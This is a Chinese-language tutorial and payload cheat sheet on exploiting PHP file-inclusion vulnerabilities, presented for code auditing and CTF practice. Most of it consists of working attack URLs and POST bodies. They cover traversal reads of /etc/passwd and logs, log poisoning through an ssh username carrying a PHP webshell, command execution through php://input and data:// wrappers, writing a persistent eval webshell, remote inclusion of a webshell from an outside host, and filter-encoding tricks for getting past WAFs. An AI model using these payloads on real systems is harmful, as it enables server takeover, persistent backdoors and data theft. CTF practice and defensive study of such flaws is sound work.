优秀的人,不是不合群,而是他们合群的人里面没有你
快速入门
一般来说在源代码审计里面,使用include函数,基本上和php://file以及input绕不开关系了,我建议你看我以前的文章,很详细
http://106.14.63.154/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB.html
使用include,可以直接读取etc密码看看:
https://www.xxx.com/?url=/etc/passwd
要是能够读取日志就更棒了,说不定能直接一句话木马拿下,拿下方法在这里,点我
https://xxx.com/?url=/var/log/nginx/access.log
读取到了,就在这个日志带一句话访问,然后用文件包含,常见日志
/var/log/apache/access.log
/var/log/apache2/access.log
/var/www/logs/access.log
/var/log/access.log
/var/log/auth.log ssh登陆日志
/etc/apache2/apache2.conf 很重要的apache配置文件
/etc/apache2/sites-enabled/000-default.conf 很重要的apache配置文件
举个例子/var/log/auth.log是ssh登陆日志,用一句话木马当作用户名登陆
ssh "<?php eval($_REQUEST['m']);?>"@目标IP
然后访问这个日志发现一句话写进去,就上AntS连接
最好是在windows下用xshell执行
还能用php伪协议执行命令,比如
https://www.xxx.com/?url=php://input
改成post发送内容为:
<?php phpinfo();?>
<?php system('ls');? >
文件包含函数
include()
require()
include_once()
require()_once()
伪协议种类包括
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)主要能执行php代码
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
php://input //输入内容,必须要post请求方式
常用的直接用base64加密读取文件
/?file=php://filter/read=convert.base64-encode/resource=flag.php
有些时候flag.php没有内容,可以目录扫描一下文件,比如index.php,phpinfo.php,实在不行就直接flag这样不加后缀或者/flag
伪协议入门
- include会把包含的文件运行显示,如果是文本图片,就直接显示,如果有<?php?>这样的脚本语言,就直接运行这个脚本
- 如果include接受的参数不是固定的文本文件,而是GET获取参数,那就意味着这个参数是可控的,那可以这么玩,参数是xx.php,flag.txt这个样子,还有/etc/passwd这个样子还有/etc/hosts
- 如何看到有没有远程文件包含,在phpinfo里面,搜索allow_url_include和allow_url_fopen这个,两个都要开启状态才能远程访问,
- 远程包含也很简单,就是www.xx.com/?m=http://xxx.com/aq.txt,这个aq.txt的内容可以是任何东西,包括哪怕是木马,这个木马还可以这么写<?php system($_GET[1]);?> 访问的时候,就是www.xx.com/?m=http://xxx.com/aq.txt&1=ls直接执行系统命令
- include除了包含文件,还能直接用php伪协议(php://,data://,phar://)真协议是(http://,zip://,ftp://)
data://是用来和用户进行交互的协议,工作流程就是用户给服务器数据,服务器接收数据执行,他的固定格式如下
data://text/plain,<?phpinfo();?>
data://text/plain,11111111—–>输出111111111
data协议 text文本类型 输入的命令data://text/plain;base64,agasdsaf==
同上,还可以在类型中加入编码,把传递输入的值进行编码其中data://可以直接简写成data:
data:text/plain,<?phpinfo();?>php://input封装协议,也可以提交给服务器数据,和data区别在于必须所示POST请求方式,第二个区别是只需要开启allow_url_includes,使用方法如下
访问网址是
http://www.xx.com/?file=php://input
POST数据是
<?php phpinfo();?>
<?php ystem(‘ls’);?>
php://filter可以读写,读取的时候,要用编码的方法读取好一些,因为有一些文件可能包含脚本代码,就会执行不显示出来
格式如下
php://filter/read=怎么读/resource=文件使用convert转换读取
php://filter/read=convert.base64-encode/resource=文件使文本转换成大写读取
php://filter/read=string.toupper/resource=文件
使用rot13加密后读取
php://filter/read=string.toupper|string.rot13/resource=文件
伪协议知识补充:
php伪协议: php://filter
允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他
格式为:
php://filter / 过滤器(read)| 过滤器(write) / resource= 目标文件
参数:resource=<要过滤的列表>
read=<读列表,设置过滤器>
write=<写列表,设置过滤器>
用法合集:
file:// 协议:
条件 allow_url_fopen:off/on allow_url_include :off/on
作用:用于访问本地文件系统。在include()/require()等参数可控的情况下
如果导入非php文件也会被解析为php
用法:
1.file://[文件的绝对路径和文件名]
2.[文件的相对路径和文件名]
3.[http://网络路径和文件名]
php:// 协议:
常见形式:php://input php://stdin php://memory php://temp
条件 allow_url_include需要 on allow_url_fopen:off/on
作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter
和php://input,php://filter用于读取源码,php://input用于执行php代码
php://filter参数详解:resource=(必选,指定了你要筛选过滤的数据流)
read=(可选) write=(可选)
对read和write,可选过滤器有string.rot13、string.toupper
、string.tolower、string.strip_tags、convert.base64-encode
& convert.base64-decode
用法举例:php://filter/read=convert.base64-encode/resource=flag.php
网址+?page=php://filter/convert.base64-encode/resource=文件名
zip:// bzip2:// zlib:// 协议:
条件:allow_url_fopen:off/on allow_url_include :off/on
作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件
更重要的是不需要指定后缀名
用法:zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
compress.bzip2://file.bz2
compress.zlib://file.gz
其中phar://和zip://类似
data:// 协议:
条件:allow_url_fopen:on allow_url_include :on
作用:可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
用法:data://text/plain, data://text/plain;base64,
举例:data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
常见过滤器:
string.xxx(字符过滤器): string.rot13、string.toupper、string.tolower、string.strip_tags
convert.xxx (转换过滤器):convert.base64、convert.quoted-printable、convert.iconv等等
compression.xxx(压缩过滤):compression.zlib、compression.bzip2、
compression.zlib.deflate、compression.bzip2.compress等等
mcrypt(加密过滤):PHP 7.1.0起废弃!
重点区分
php://input
可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行
php://filter
可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
data://
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。data也能直接执行php代码,可以顺手试一下
www.xxx.com/?url=data://text/plain,<?php system("ls");?>
data还支持base64加密,比如:
www.xxx.com/?page=data://text/plain;base64,PD9waHAgZWNobyBzaGVsbF9leGVjKCJpZCIpOyA/Pg==
甚至我还能写一句话木马进去
www.xxx.com/?url=data://text/plain,%3C?php%20fputs(fopen(%271juhua.php%27,%27w%27),%27%3C?php%20@eval($_GET[cmd]);%20?%3E%27);%20?%3E
访问
www.xxx.com/1juhua.php
然后我踏马直接执行php命令
www.xxx.com/1juhua.php?cmd=system(%27ls%27);
解题大纲
遇到文件包含题目,首先一步一步来
- 目录穿越,../../,但是要知道文件名称,或者盲猜flag.txt之类的,多的常见如:
是
http://192.168.171.128/a.php?page=file:///etc/passwd
http://192.168.171.128/a.php?page=…/…/…/…/…/…/…/…/etc/passwd
http://192.168.171.128/a.php?page=…/…/…/…/…/…/…/…/etc/motd
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
- 伪协议,https://www.xxx.com/?url=php://input, 改成post发送内容为:
input可以把传递的内容当做文本执行
<?php phpinfo();?>
<?php system('ls');?>
写个一句话getshell,第二个是防止过滤
<?php echo ‘<?php eval($_POST[“A”]);?>’ >1.php;?>
写完后,cat一下1.php看看写进去没,进去了直接上antisword,如果看不了php文件,就用伪协议读取
/?url=php://filter/read=convert.base64-encode/resource=1.php
伪协议题目测试
考验伪协议案例1
首先测试是否存在,题目如下。
红线位置就是修改新增的地方
然后直接构造url
或者使用命令
<?php system('cat ctf\_go\_go\_go');?>
考验伪协议案例2
代码如下:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){ //过滤了flag php file
include($c); //文件包含漏洞
echo $flag; //输出变量flag
}
}else{
highlight_file(__FILE__);
}
本关php和file被过滤了我们无法直接利用伪协议
,需要借助其他,可以利用base64进行绕过,构造payload如下
?c=data://text/plain;base64,PD9waHAgZWNobyBgdGFpbCBmKmA/Pg==
<?php echo `tail f*`?>
考验伪协议案例3
代码如下
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
eval执行变量,我们在了解到flag在flag.php中后,可直接利用伪协议来获取flag,构造payload如下
用伪协议来获取,我们可构造如下payload来获取flag
c=include$_POST[url];&url=php://filter/read=convert.base64-encode/resource=flag.php
对执行结果进行base64解码即可得到flag
考验伪协议读取数据
直接使用payload,第一个就够了,但是要考虑waf过滤
/?file=php://filter/read=convert.base64-encode/resource=flag.php
?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php
?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php
所以:payload为:
?filename=php://filter/convert.iconv.base64*.base64/resource=index.php
如果滤器中的字符编码被禁止了,字符编码字典更换,爆破字符编码。
常见字符编码:
UCS-4*
UCS-4BE
UCS-4LE*
UCS-4LE
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
第四步:使用burps的爆破模式,对编码进行爆破–集数炸弹–结果最长的数据包
?filename=php://filter/convert.iconv.$base64*$.$base64$/resource=index.php
得到payload:
?filename=php://filter/convert.iconv.EUC-JP*.UTF-32*/resource=index.php
下面是一个好坏的函数
file_get_contents
if(file_get_contents($file2) === "hello ctf")
// 要求file2输入的值是hello ctf
可以使用伪协议绕过
需要修改成POST请求
然后添加后缀 &file2=php://input
在主要内容填写
hello ctf
注意,如果过滤了php伪协议,可以使用日志注入
伪协议日志getshell
访问
http://114.67.175.224:10088/?url=/var/log/nginx/access.log
如果发现日志存在
http://114.67.175.224:10088/?page=php://input
Post的数据为: <?php system('net user');?>
如果`知道日志文件的路径,直接写一句话木马